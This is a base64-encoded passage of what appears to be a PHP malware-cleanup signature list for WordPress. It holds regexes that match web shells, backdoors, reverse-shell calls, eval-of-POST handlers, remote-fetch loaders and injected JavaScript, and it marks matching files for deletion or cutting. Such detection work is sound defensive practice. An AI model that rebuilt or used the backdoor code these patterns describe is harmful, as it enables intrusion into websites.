ZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9cJF9fPVwncHJpbnRmXCc7XCRfPVwnTG9hZGluZyB0aGUgV29yZHByZXNzIFwuXC5cLlwnOy9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL3JlZ2lzdGVyX3NodXRkb3duX2Z1bmN0aW9uXChcJ2J1aWxkZXJfX2FmdGVyX3NodXRkb3duX2NoZWNrXCdcKTsvbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvd3BhdXRvcD1wcmVfYWRtaW5fYmFyL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9kZWZpbmUoXCdXU09fVkVSU0lPTlwnL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC1jbGVhbi1wbHVnaW5cLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvLiovaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvd3AtY3JhZnQtcmVwb3J0XC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL3dwLWhlbGxvLXBsdWdpblwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC1sb2FkLXJlcG9ydFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC1yZXBvcnRcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvLiovaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvd3Atc2lsaS1yZXBvcnQtc2l0ZVwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC16aXAtcGx1Z2luXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwKSQvbWknLAogICAgImNvZGUiID0+ICcvXCRfUkVRVUVTVFxbXCJbYS16XXszfVwiXF1cKFwkX1JFUVVFU1QvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwKSQvbWknLAogICAgImNvZGUiID0+ICcvQHN5c3RlbVwoImtpbGxhbGwgLTkgIlwuYmFzZW5hbWVcKCJcL3VzclwvYmluXC9ob3N0IlwpXCk7L2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksIAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocCkkL21pJywKICAgICJjb2RlIiA9PiAnL2ludHZhbFwoX19MSU5FX19cKSBcKiAzMzcvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL21ldGF3cFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9vcGVucmVkaXJlY3RcLm5ldC9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvd3B0ZW1wXC5qcyQvbWknLAogICAgImNvZGUiID0+ICcvZXJyb3JfcmVwb3J0aW5nL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksIAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXnZhbGlkYXRlXC5waHAkLycsCiAgICAiY29kZSIgPT4gJy80NzY5ZTQ5NjAzOGMzZDBlZTM4ZjYyNjdkMzg5NDY5Yi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLCAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHApJC9taScsCiAgICAiY29kZSIgPT4gJy9cPFw/cGhwIGNsYXNzIEZvby4qW1xTXXsxNTAwfS4qXChcKTsgXD8+L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dezh9XC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnfjsoPzpAXCQoPzpcd3sxLDQwfVwoXCRcd3sxLDQwfVwoXCRcd3sxLDQwfVwoXCRcd3sxLDQwfVwoXCRcd3sxLDQwfVwpXClcKVwpO1xzKlw/PlxzKlxaKD88WDY5YmFiNjdlPil8X19cKFwkX19cZCtcKEBcJF9cW1xkK1xdXC5AXCRfXFtcZCtcXVwuKD88WDNjYWIzMmE1Pil8ZnVuXChccypzdHJfcm90MTNcKCg/PFgyMWZmMWEwND4pKXxcJCg/Olx3ezEsNDB9KD86PVwnW15cJ10rXCdcXlwnW15cJ10rXCc7XHd7MSw0MH07KD88WGVlMTI2OGY0Pil8XF5cJFx3ezEsNDB9O1wkXHd7MSw0MH09XCRcd3sxLDQwfVxeXCcoPzxYYjVjOGIzYjc+KSl8XHtcJCg/Olx3ezEsNDB9XH0oPzpcLj1wYWNrXCgiW14iXXsxLDIwfT8iLDB4MDAwMDAwMDAsMHgwMDAwMDAwMCwweDAwMDAwMDAwLHN0cmxlblwoXCRce1wkXHsiKD88WDE3NTQ0Yjk1Pil8XHMqPVxzKmdldF9vcHRpb25cKEVXUFRfUExVR0lOX1NMVUdcKTtlY2hvIlteIl0rIlxzKlwuXHMqZXNjX2F0dHJcKFwkXHtcJFx7IlteIl0rIlx9XHMqXFsiKD88WDA1MzI1NGRjPikpfFx7IlteIl17MSwxMDB9Ilx9XFtbXlxdXXsxLDEwMH1cXVx9PXN5c3RlbV9jdXN0b21cKFwkXHtcJFx3ezEsNDB9XH1cKTtlY2hvXCRce1wkXHsiW14iXXsxLDEwMH0iXH1cWyJbXiJdezEsMTAwfSJcXVx9O3ByaW50KD88WDU5MzYzYjY0PikpfF8oPzpccyo9XHMqY3JlYXRlX2Z1bmN0aW9uXChccyoiIlxzKixccypAZ3p1bmNvbXByZXNzXChcJF8rXClcKTtcJF8rXChcKTtccypcPz4oPzxYM2IxOTZiZjk+KXxcd3sxLDEwfT1hcnJheVwoW14pXStcKTtcJHBheWxvYWQ9IlteIl17NDAwMCwxNDAwMH0iOyg/PFg2Yjg0ZTRmYT4pfFx3ezEsNDB9PS5cJF9cd3sxLDQwfVwoIlteIl0rIixcJ1x3ezEsNDB9XCdcKTtAXCRfXHd7MSw0MH1cKCJbXiJdKyIsLlwkX1x3ezEsNDB9XCgoPzxYYzQ5OTM3N2Y+KSl8YjM3NGtccyo9XHMqXCRcd3sxLDQwfVwoXHMqW1wnIl1cJFx3ezEsNDB9W1wnIl1ccyosXHMqW1wnIlwuLFxzZXZhbF17Nyw0MH1cKCg/PFgwMDc4MzcxNT4pfGRlZmF1bHRfdXNlX2FqYXg9dHJ1ZTtcJGRlZmF1bHRfY2hhcnNldD1fXHd7MSw0MH1cKFxkXCk7XCRHTE9CQUxTKD88WDU3MWUzMWY4Pil8dGhpcy0+dG1fY2xhc3NfbmFtZV9kaXY9XCRce1wkXHsiXFx4XHd7Mn0oPzxYYzEzNjAzMmM+KSl8XHMqKD86KD86ZWNob3xwcmludClccypcKD9bXCciXT88dGl0bGU+XHMqRHJvaWQtWC1GYWhyaVxzKjwoPzxYYWJiOTQxMmU+KXwoPzpnb3RvXHMqXHd7MSw0MH07XHMqXHd7MSw0MH06XHMqQD9pbmlfc2V0XChbXlwpXXsxLDk5fVwpO1xzKil7Mn1bXi9dezksOTl9PHRpdGxlPlxzKlx3ezEsNDB9XHMrYmFja2Rvb3Jccyo8L3RpdGxlPig/PFhmNWVlMDhhZT4pfCg/OnBhc3N0aHJ1fGV4ZWN8c2hlbGxfZXhlY3xwb3BlbnxzeXN0ZW18ZXZhbClcKFxzKltcJyJdXC4vZmluZHNvY2tbXlwkXXsxLDQwfVwkX1NFUlZFUlxbW1wnIl1SRU1PVEVfQUREUltcJyJdXF1bXlwkXXsxLDQwfVwkX1NFUlZFUlxbW1wnIl1SRU1PVEVfUE9SVFtcJyJdXF1ccypcKVxzKlw/Pig/PFhmODdjM2I1MT4pfFsjXXs1LDIwMH1ccypcJFNVQkpFQ1Rccyo9XHMqW1wnIl1ccypcKCg/OkFNQVpPTnxBRE9CRXxBWlVSRSlcKVxzKlwoKD86QklMTElOR3xMT0dJTilcKVxzKlwoXHMqXCRJUFxzKlwpXHMqXChccypcJENPVU5UUllOQU1FXHMqXClccypbXCciXVxzKjsoPzxYODViZDFkZWM+KXxcJCg/OltPMF9dKz0iW14iXSoiXHMqO1xzKlwkXHd7MSw0MH09IlteIl0qIlxzKjtccypcJFx3ezEsNDB9XHMqPVwkXHd7MSw0MH1ccypcKFxzKiJbXiJdKiJccyosXHMqIlteIl0qIlxzKixccyoiW14iXSoiXHMqXClccyo7XHMqXCRcd3sxLDQwfVxzKj1cJFx3ezEsNDB9XHMqXChccyoiW14iXSoiXHMqLFxzKiJbXiJdKiJccyosXHMqIlteIl0qIlxzKlwpXHMqO1xzKlwkXHd7MSw0MH1ccyo9XCRcd3sxLDQwfVxzKlwoXHMqIlteIl0qIlxzKixccypcJFx3ezEsNDB9XHMqXChccypcJFx3ezEsNDB9XHMqXChccyoiW14iXSoiXHMqLFxzKiJbXiJdKiJccyosXHMqXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVxzKlwpXHMqXClccypcKVxzKjtccypcJFx3ezEsNDB9XHMqXChccypcKVxzKjtccyplY2hvXHMqXCRcd3sxLDQwfVxzKlwuXHMqIlteIl0qIlxzKjtccyooPzxYZWQ0MDlmYmY+KXxcd3sxLDIwfVxzKj1ccyooPzpodHRwX2dldHxmaWxlX2dldF9jb250ZW50cylccypcKFtcJyJdaHR0cHM/Oi8vbGFnZ2VyZ2hvc3RcLmdpdGh1Yi5pby9bXlwpXStcKTsoPzxYMzk2ZjVhOWY+KXxcd3sxLDMwfVxzKlwoXHMqXCRcd3sxLDQwfVxzKlwoXHMqXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVxzKixccypcJFx3ezEsNDB9XHMqXClccyosXHMqXCRcd3sxLDQwfVxzKlwpXHMqO1xzKlx9XHMqUHJpb3IyTGluZVxzKlwoW14pXStcKVxzKjtccypcWig/PFhkOTE0MjZiYz4pfFx3ezEsNDB9PUBcJEdMT0JBTFNcW1wnX1xkK19cJ1xdXFtcZCtcXVwoXCRcd3sxLDQwfVxzKlwuXHMqXCRcd3sxLDQwfVwpO1xzKmVjaG8gXCRcd3sxLDQwfTtccypcPz5cWig/PFhlZjY0NDRjOT4pfFx7W1wnIl0oPzpHfFxceDQ3KSg/Okx8XFx4NGMpKD86T3xcXHg0ZikoPzpCfFxceDQyKSg/OkF8XFx4NDEpKD86THxcXHg0YykoPzpTfFxceDUzKVtcJyJdXH1cW1tcJyJdKD86enxyfF98XFx4N2F8XFx4NWZ8XFx4NzIpezEsNDB9W1wnIl1cXVwoXCRbenJfXXsxLDQwfSxDVVJMT1BUX1VTRVJBR0VOVCxcXFtcJyJdV0hSXFxbXCciXVwpOyg/PFg5ZjRlNGY2NT4pKXxcYlx3ezEsMjB9XChcJFx3ezEsMTB9XHMqPVxzKlwkXHd7MSwxMH1cLlwkXHd7MSwxMH1cW1xkK1xdXCk7XHMqaGVicmV2Y1woXCRcd3sxLDEwfVxzKj1ccypcJFx3ezEsMTB9XC5cJFx3ezEsMTB9XFtcZCtcXVwpO1xzKlx3ezEsMTB9XChcJFx3ezEsMTB9XHMqPVxzKlwkXHd7MSwxMH1cLlwkXHd7MSwxMH1cW1xkK1xdXCk7KD88WGMwY2MwNjA3Pil8XH1ccypcfVxzKig/OlwkXHd7MSwyMH1ccyo9XHMqW1wnIl1bM0VdeFswb11yY1tpMV1bczVdWzd0XVtcJyJdOyg/PFhhZWZjZjUyZT4pfFx9XHMqZWNob1xzKltcJyJdW15cJyJdezAsNDB9W1wnIl0/XHMqXC4/XHMqcGhwX3VuYW1lXChcKVxzKlwuP1xzKltcJyJdP1xcP3I/XFw/bj9bXCciXTtccyplY2hvXHMqZ2V0Y3dkXChcKVxzKlwuP1xzKltcJyJdP1xcP3I/XFw/bj9bXCciXTtccypcPz5ccypcWig/PFg0NmJjMDBiMT4pKXxlKD86dmFsXChcJEdMT0JBTFNcW1wnXHcrXCdcXVxbXGQrXF1cKFwkR0xPQkFMU1xbXCdcdytcJ1xdXFtcZCtcXVwoXCRcdytcKVwpXCk7XD8+KD88WGZmNWNmMTIzPil8eGl0XHMqXChccypcKVxzKjtccypcfVxzKlx9XHMqXCRcd3sxLDQwfVxzKj1ccypcd3sxLDQwfVxzKlwoXHMqXCRcd3sxLDQwfVxzKixccypcJFx3ezEsNDB9XHMqXClccyo7XHMqXHd7MSw0MH1ccypcKFxzKlwkXHd7MSw0MH1ccyosXHMqXCRcd3sxLDQwfVxzKlxbXHMqXGQrXHMqXF1ccypcKFxzKlwkXHd7MSw0MH1ccypcW1xzKlxkK1xzKlxdXHMqLFxzKlwkXHd7MSw0MH1ccypcXlxzKlx3ezEsNDB9XHMqXChccypcJFx3ezEsNDB9XHMqLFxzKlwkXHd7MSw0MH1ccyosXHMqXCRcd3sxLDQwfVxzKlxbXHMqXGQrXHMqXF1ccypcKFxzKlwkXHd7MSw0MH1ccypcKVxzKlwpXHMqXClccypcKVxzKjtccypcfVxzKlxaKD88WGI2ZjQ4ZTk4PikpfGZ1bmN0aW9uXHMqXHd7MSw0MH1cKFwkXHd7MSw0MH1cKVxzKlx7XHMqcmV0dXJuXHMqXChzdWJzdHJcKFwkXHd7MSw0MH1ccyosXHMqXGQrXHMqLFxzKlxkK1xzKlwpXHMqPT1ccypcd3sxLDQwfVwoYXJyYXlcKFteKV17MSwxMDB9XClccypcKVxzKlwpXHMqO1xzKlx9KD88WGRhYTIyZjI1Pil8cHJpbnRccysiRmxvb2RlZDpccypcJGlwXHMqb25ccypwb3J0XHMqXCRyYW5kKD88WGNkNTlkMzNmPil8c3ltbGlua1woXCcvXCdcLlwkaG9tZVwuXCcvXCdcLlwkdXNlclwuXCcvcHVibGljX2h0bWwvY2xpZW50XC1hcmVhL2NvbmZpZ3VyYXRpb25cLnBocFwnLFwkdXNlclwuXCdXSE1DU1wudHh0XCdcKTsoPzxYYTZlYzc5NjM+KSl8XHMrZXZhbFxzKlwoXHMqZ3ppbmZsYXRlXHMqXChccypiYXNlNjRfZGVjb2RlXHMqXChccypbXCciXURjL0pjb0l3QUFEUXoxR0hRMldINlNrSXFPd0JaTHQwQkJLa0JJS3lqWDU5W15cJyJdezM2MH1bXCciXVxzKlwpXHMqXClccypcKVxzKjtccypcPz5ccypcWig/PFg4MTA2MWFkMz4pfFx9XHMqZWNob1xzK1wnW15cJ117MSwxMDB9XCc7XHMqcHJlZ19yZXBsYWNlXCgiXFx4MkZcXHgyRVxceDJBXFx4MkZcXHg2NSIsIlxceDY1XFx4NzZcXHg2MVxceDZDXFx4MjgoPzxYYjVjOGVlNjk+KXxjbGFzc1xzKlNtYXJ0eTNccyp7XHMqcHJpdmF0ZVxzKnN0YXRpY1xzKlwkZmlsZV93aXRoX2lwKD88WGU3ZDcxNzkzPil8ZSg/OnVydFxzKj1ccyp4YWphX2VzdV90bHVhZmVkXCQoPzxYZWViOGU4OTg+KXx2YWxcKGJhc2U2NF9kZWNvZGVcKGd6dW5jb21wcmVzc1woYmFzZTY0X2RlY29kZVwoXCRcdytcKVwpXClcKTtcPz4oPzxYMmYzMTEzZTk+KXx4aXQ7ZW5kaWY7ZW5kaWY7QGlOSV9zRVRcKCJlcnJvcl9sb2ciLG51bGxcKTtAaU5pX1NFdFwoKD88WGMxNjExODM1PikpfGZpbGVfcHV0X2NvbnRlbnRzXChcJF83XFtcJy5cJ1xdXFtcJ1x3K1wnXF0sXCRfXGQrLEZJTEVfQVBQRU5EXHxMT0NLX0VYXCk7fWlmKD88WDdhNzA4MDFhPil8aWZcKFwkX1BPU1RcW1wnXHd7MSw0MH1cJ1xdPT0iVXBsb2FkIlwpe2lmXChAY29weVwoXCRfRklMRVNcW1wnZmlsZVwnXF1cW1wndG1wX25hbWVcJ1xdLFwkX0ZJTEVTXFtcJ2ZpbGVcJ1xdXFtcJ25hbWVcJ1xdXClcKVx7ZWNobyg/PFgwNTA2MjRjMz4pfGxldHNfanVtcFwoXCRce1wkXHd7MSw0MH19LFwkXHtcJFx3ezEsNDB9XH1cKTtcfVwkXHtcJFx7KD88WDFmZDExMDUxPil8cmV0dXJuXCR7XCRcd3sxLDIwfX07fXB1YmxpYyBmdW5jdGlvbiBnZXRSdWxlc1woXCl7aWZcKFwkdGhpcy0+ZGV0ZWN0aW9uVHlwZT09c2VsZjo6REVURUNUSU9OX1RZUEVfRVhURU5ERURcKXtyZXR1cm4gc2VsZjo6Z2V0TW9iaWxlRGV0ZWN0aW9uUnVsZXNFeHRlbmRlZFwoXCk7fSg/PFgwYjk0M2ZiZD4pfHNldF90aW1lX2xpbWl0XCgwXCk7YXJyYXlfd2Fsa1woXCRfQ09PS0lFLCJlbnVtZXJhdG9yIlwpO2FycmF5X3dhbGtcKFwkX1BPU1QsImVudW1lcmF0b3IiXCk7ZnVuY3Rpb24gZW51bWVyYXRvclwoXCR2YWx1ZSxcJGtleVwpXHtcJFx7KD88WGNmYzZiYjUyPikpfnNtaVMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9Xd3dcLlBIUEppYU1pXC5Db20vaW1zJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL153cC12Y2RcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvLiovaW1zJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15sb2dpbl93YWxsXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2V2YWxcKFwkX1BPU1RcWy9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXndwLXRtcFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy93cF9hdXRoX2tleS9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXl9jb25maWcuY2FjaGVcLnBocCQvJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL153cC11cGxvYWQtY2xhc3NcLnBocCQvJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL153cC1pbnRlcnN0XC5waHAkLycsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9eZS1wcmV2aWV3XC5waHAkLycsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9ed3AtY291bnRzXC5waHAkLycsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9ed3AtcmVtb3RlLXVwbG9hZFwucGhwJC8nLAogICAgImNvZGUiID0+ICcvLiovaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXmpzXC5waHAkLycsCiAgICAiY29kZSIgPT4gJy9cJGN0aW1lXChcJGF0aW1lXCkvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL1N1ciBUaGUgTWFpbGVyIEZpbmlzaCBIaXMgSm9iL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvaWZcKCFcKGlzc2V0XChcJHBhc3N3ZFwpXHMqJiZccypcJE8wTzAwMFwoXCRwYXNzd2RcKVxzKj09XHMqXCRPMDBPMDBcKVwpey9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9zZXRfZXJyb3JfaGFuZGxlclwoIl9faV9jbGllbnRfZXJyb3JfaGFuZGxlciJcKTtcJEdMT0JBTFNcWyJfX2lfY2xpZW50X2Vycm9yX3N0YWNrIlxdID0gYXJyYXlcKFwpO2Z1bmN0aW9uIF9faV9jbGllbnRfZXJyb3JfaGFuZGxlclwoXCRlcnJubywgXCRlcnJzdHIsIFwkZXJyZmlsZSwgXCRlcnJsaW5lXCl7aWYgXCghXChlcnJvcl9yZXBvcnRpbmdcKFwpICYgXCRlcnJub1wpXCl7cmV0dXJuO31zd2l0Y2ggXChcJGVycm5vXCkge2Nhc2UgRV9FUlJPUjpjYXNlIEVfVVNFUl9FUlJPUjpcJEdMT0JBTFNcWyJfX2lfY2xpZW50X2Vycm9yX3N0YWNrIlxdXFtcXSA9ICJFcnJvcjogIlwuXCRlcnJzdHJcLiIgaW4gIlwuXCRlcnJmaWxlXC4iXFtcJGVycmxpbmVdIFwoUEhQICJcLlBIUF9WRVJTSU9OXC4iICJcLlBIUF9PU1wuIlwpIjsvbXNpJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL3NvY2lhbFwucG5nJC9taScsCiAgICAiY29kZSIgPT4gJy9XcFBsTG9hZENvbnRlbnQvbXNpJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJGRlZmF1bHRfYWN0aW9uXHMqPVxzKihcJ3wiKUZpbGVzTWFuKFwnfCIpL21zaScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvKHNoZWxsZXZhbCl8KFNoZWxsIEthZ2V5YW1hKXwoc3VwZXJzb2NpYWxsKXwod3BcLXZjZFwucGhwKXwoMHg1YTQ1NTU1M1wuZ2l0aHViXC5pb1wvTUFSSUpVQU5BXC9pY29uXC5wbmcpfChCbGFja2hhdENvZGUpfChKYXlhbGFoIEluZG9uZXNpYWt1KXwoXCJqd2V5Y1wiLFwiYWVza29seVwiLFwib3doZ2dpa3VcIixcImNhbGxicmh5XCIpfChibG9ja3NwbHVnaW5uKXwoUGx1Z2luIE5hbWU6IENNU21hcCAtIFdvcmRQcmVzcyBTaGVsbCl8KEJsYWNraGF0Q29kZSl8KEluZG9YcGxvaXQpfChjcmtla2F0a2VrX2tma3VrbmNrdGtpa29uKXwoXCR3cF9ub25jZSA9IGlzc2V0XChcJF9QT1NUXFtcJ2ZfcHBcJ1xdXCkpL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC14bWxycGNcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvXCRHTE9CQUxTXFtcJ3Bhc3NcJ1xdL21zaScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9cJF9fX19fX19fX189XCRfX19fX19fX19fX19fX19fX19cKFwnXCRfXCcsXCRfX19fX19fX19fX19fX1wpL20nLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvZ290b1xzWzAtOWEtekEtWl17NX07XHNbMC05YS16QS1aXXs1fTpcc2lmXHNcKFshXSpmaWxlX2V4aXN0c1wocmVhbHBhdGhcKFwnXCdcKVxzXC5cc1wiXFxcXC9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL2J5IHpldXJhXC5jb20vaW1zJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksIAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9QSFAgRW5jb2RlIFNoXCpsbCBBdXRvIHY0IEZveC9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL2V2YWxcKHBhY2tcKFwnSFwqXCcsXCdbMC05YS1mQS1GXXs1MDAwLH0vbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLCAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvdGVtcGxhdGUtY29uZmlnXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL1wkYWRtd29ya3VybD0iIjsvbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLCAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXmNsYXNzXC53cFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9mb3JlYWNoXHMqXChcJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSpcW1swLTldK1xdXChcJF9DT09LSUUsXHMqXCRfUE9TVFwpXHMqYXNccypcJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSpccyo9PlxzKlwkW2EtekEtWl9ceDgwLVx4ZmZdW2EtekEtWjAtOV9ceDgwLVx4ZmZdKi9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cKGVkb2NlZF80NmVzYWJcKGxhdmVcJ1wpXCkvbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAoKLyogZW5kIGRlbGV0ZSBzZWN0aW9uICovCi8qIHN0YXJ0IGN1dCBzZWN0aW9uICovCiAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnLzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD5bXjxdKmV2YWxcKFN0cmluZ1wuZnJvbUNoYXJDb2RlXCgxMTgsIDk3LCAxMTQsIDMyLCAxMDAsIDYxLCAxMDAsIDExMSwgOTksIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCA1OSwgMTE4LCA5NywgMTE0LCAzMiwgMTE1W148XSpcKVwpOzxcL3NjcmlwdD4vbScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIg